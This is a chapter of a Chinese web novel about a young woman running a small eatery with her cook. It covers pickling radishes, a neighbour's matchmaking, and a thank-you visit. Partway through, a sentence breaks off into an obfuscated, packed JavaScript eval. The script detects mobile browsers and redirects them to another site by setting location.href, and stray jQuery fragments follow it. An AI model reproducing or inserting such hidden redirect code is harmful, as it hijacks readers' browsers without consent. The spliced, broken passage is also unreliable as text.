待到开饭，苏月娘面前的骨碟里已经摞起了一座小山。
苏月娘咂咂嗦得有些发麻的嘴，一时没心思吃饭。
许东山吃了几口之后，察觉苏月娘还没动筷子。
“菜不合胃口吗？”
苏月娘将那盆啾啾螺往许东山面前一推，“嗦累了，让嘴歇一会儿，你尝尝我摇的螺。”
说罢，她双手捧着脸颊，下颌来回活动一番，这表情稀奇古怪的，许东山看了嘴角微微上扬。
暮日余晖已照不进堂屋里，时辰不早了，苏月娘还是忍着舌头的最后一点麻木，慢慢地喝起了粥。
许东山对吃食没那么讲究，肉少得可怜的啾啾螺也能让他配着粥下肚，至于炒的鸡蛋，基本都进了苏月娘的肚子里。
晚饭结束，啾啾螺还剩了小半盆，苏月娘自然而然地又将那盆螺拉回自己面前做饭后零嘴。
头家都吃上零嘴了，许东山也极有眼力见地揽下整理厨房、刷洗碗筷的活。
一墙之隔的二福面线糊店又传来几日一次的怒骂声，今天苏月娘没事要做，便端着那盆啾啾螺坐到门口去边听边嗦。
李金花那嗓门是一如既往的大，她一开嗓，整条巷子都能听见她在叫骂什么。
现下，她在骂儿子许东石不仅成日不着家，还只知道向家里伸手要钱。
而许东石也是个胆大的，李金花骂一句，他狡辩三句，其中还要夹杂着许二福唯唯诺诺的调停声。
隔壁的日子过得比戏都好看。
苏月娘听得美滋滋的，丝毫没有察觉背着一筐菜头的红姑正在靠近。
“月娘头家听什么呢？听得这么入迷！”红姑刚从后山的地里回来，头上戴着斗笠，脚下沾着泥巴。
苏月娘赶忙起身将螺搁在窗台上，“伯母您刚从地里回来？进来坐坐？！”
红姑看了眼自己脚上的泥，笑着摇了摇头，“我就不进去了，省得你们还要擦地……我自己种的夏季菜头熟了，想着给你们送一点！”
说着，红姑弯下腰，从筐子里捧出用干草捆好的七八条菜头递给苏月娘。
凤池水土好，后山地里种出来的菜都水灵灵的，这些菜头瞧着跟秋冬的菜头没什么两样。
“这几天有些上火，吃点菜头清清热正好！”苏月娘欢喜地摸了摸这些沾了土的大胖萝卜。
“前两天在街上碰见阿莲的二叔，和他聊起相看的事情，他说阿莲对阿山没什么想法，倒是对你喜欢得很，回去还一直提起你呢！”
自打和阿莲认识了之后，阿莲就时常挑着担子走进这条巷子里。
她会站在店门口和苏月娘话仙，并请她吃一碗豆花，而苏月娘礼尚往来地请她喝一碗四果汤。
两个人保持着几日见一回的友谊。
“阿莲她二叔还托我问你家里有没有给说亲，他有个外甥和你差不多大，还没成亲……”
说别的可以，说成亲的事儿不行。
苏月娘可吓得连忙拒绝了红姑的牵线搭桥。
她费了好大劲才躲避了大伯婚事，让她在外头找个人嫁了……那可不成！
“这事儿您就别操心了！等我这小店赚到钱了，我再考虑终身大事也来得及呀！”
毕竟苏月娘和红姑之间真要算起来也没什么关系，红姑也没立场多加劝说苏月娘去相看。
既然苏月娘拒绝，红姑也就不再提了。
但是临走之前，红姑还是让苏月娘多帮着劝劝许东山对终身大事上点心。
……
苏月娘一手端盆，一手拎着菜头回到厨房，许东山正在熬煮明天煮面线糊的猪骨汤。
“你去买菜头了？”
“这是刚才红姑伯母送来的，她还让我多劝你考虑考虑终身大事！”
菜头刚出土不久，苏月娘也就先将菜头送到院子里放着。
许东山对于终身大事同样抗拒，便没搭话。
苏月娘将菜头逐一清洗干净后，仔细地将之搭在窗台上滴水。
这水灵灵的菜头用来煮汤一定鲜美，不过，比起做菜头汤，现下腹中饱胀的苏月娘还是更想将菜头做成酸甜解腻的菜头酸。
“许大哥，帮我把菜板和菜刀拿来！”苏月娘大喊。
许东山盖上锅盖，取了菜板与菜刀往外走，“又打算做点什么？”
慷慨的红姑送来的菜头个头都不小，苏月娘挑了最胖的两条菜头放在案板上切除头尾，“做点菜头酸消消火！”
“现在天热东西容易坏，两条菜头会不会太多了？”
“咱们的东西油放得不少，客人吃完容易腻味，咱们可以送点菜头酸给客人们解腻！”
许东山看着菜头陷入沉思。
每天上门的客人那么多，装面线糊、咸饭和汤的碗都已经洗不过来了，再加上装菜头酸的碗，那得洗到猴年马月去！
“许大哥你刀工好，你来切菜头，能切多薄切多薄！”
不同人做菜头酸，切出的菜头都不一样的，有的爱切成块，有的爱片成片，苏月娘不怎挑拣形状，但她打算明日中午就开始上菜头酸，便选择了最薄的切法，以便菜头能在半日之内入味。
许东山片菜头时，苏月娘回屋摸黑取了两个大盆、盐、糖以及米醋。
许东山快手切好了两大条菜头，并将菜头捧入盆中，两条菜头正好各填两个大盆的七八分。
生菜头味道苦涩，还需要用盐杀一杀，今天的菜头薄如蝉翼，稍出水变软就得洗去盐巴，以免咸味彻底渗透。
趁着许东山清洗菜头，苏月娘用壶里剩下的滚水化了一大碗白糖，并搁在水中冷却。
杀过苦水的菜头个头消了一半，只能占据大盆的一半，倒入三圈澄清的米醋和一瓢清水后，细软的菜头片在液体中飘舞一会儿后便陆陆续续地沉没在了盆底。
与此同时，浓糖水也冷却好了，一盆加半碗糖水，搅和搅和，取调羹尝一尝腌水的咸淡。
“太酸了。”
俗话说得好，揉面是水多加面面多加水。
那么腌菜头酸是醋多加糖，糖多加醋。
许东山捧着糖罐子往腌水里倒糖，并用筷子快速搅拌一番，直至糖彻底化在腌水中，苏月娘洗了调羹再尝一次味，这一次腌水酸甜适中，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240337|164129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只待菜头入味，便可以食用。
——
按苏月娘的意思，不仅米粉要卖，咸饭、四果汤、面线糊、配菜汤也都要卖。
作为店里唯一的厨子，许东山起得更早了，天还没亮就到厨房里备菜。
而这个时候，他的头家还趴在床上呼呼大睡。
等天亮了，苏月娘被热醒了，许东山已经一力做好了面线糊，并将四果中的三样豆料炖在锅里。
起迟了的苏月娘很是过意不去，“许大哥你以后尽管叫我起来干活……”
“没事，我干得来。”这个能干又贴心的厨子不忘从锅里端出刚才买的水煎包和豆花，“趁热吃。”
当头家的最是喜欢这种会来事的厨子了，苏月娘暗暗决定从下个月起要多给许东山发点工钱。
厨子继续在厨房里忙活，而头家坐在堂屋里享用水煎包与豆花。
热腾腾的吃食下肚，苏月娘的一日才算刚刚开始。
店门开启，苏月娘瞧见店门口站着两个男人，看岁数长相，这两人像是父子。
看到店门开了，恭候多时的刘昌父子二人赶忙提着朝着苏月娘走去。
“恩人！”走在前头的刘昌激动地朝着苏月娘行礼，“多谢恩人昨天救了我爹！”
后头的刘昌儿子连忙学着他爹给苏月娘行大礼。
突然让人给行了个大礼，苏月娘有些不知所措地傻看着那人，反应过来这对父子是昨天晕倒在巷口的那位老人家的儿子与孙子。
“举手之劳而已！不用行这么大的礼！”苏月娘虚扶父子二人一把。
“应该的应该的！我家老父六十有七，前段时间才刚生了一场病，昨天他要是在外头再待久一点，怕是就……”
许东山听外头动静不怎对劲，放下手头的事情赶出来看看情况，那父子二人看见许东山连忙又行了一遍礼。
许东山也只是道举手之劳，不足挂齿。
光在外头站着也怪别扭的，苏月娘连忙请人进门喝茶小坐。
父子俩也不知道用什么来谢苏月娘和许东山的恩情，便只能提着些面线、鸡蛋、糕饼、茶叶还有两只活鸡上门。
许东山不善应酬，又正好有客人上门，他便借机回厨房打面线糊。
苏月娘不必操心招待客人的事情，便放心地与父子俩聊了起来。
“那位阿公还好吗？”
“昨天下午去医馆扎了几针，夜里就好得差不多了……本来我爹想跟着我们父子俩过来谢恩，但我怕他又出什么意外，就劝他留在家里了……”
苏月娘笑道：“老人家人没事就好……这几天还是多在家里头休息休息！”
“听说你才来我们凤池镇几个月，能在这么短的时间里将生意做得这样好，当真是后生可畏！以后你叫我刘叔就好！有什么需要帮忙的，尽管来找我！我家在镇头肉铺边上！”
苏月娘是家里老头子的救命恩人，又是个性情能力都不错的小姑娘，刘昌看苏月娘怎么看怎么喜欢。
刘昌谈吐不俗，又面露和善，苏月娘亦是乐意与他往来，便笑着谢下了他要照拂的承诺。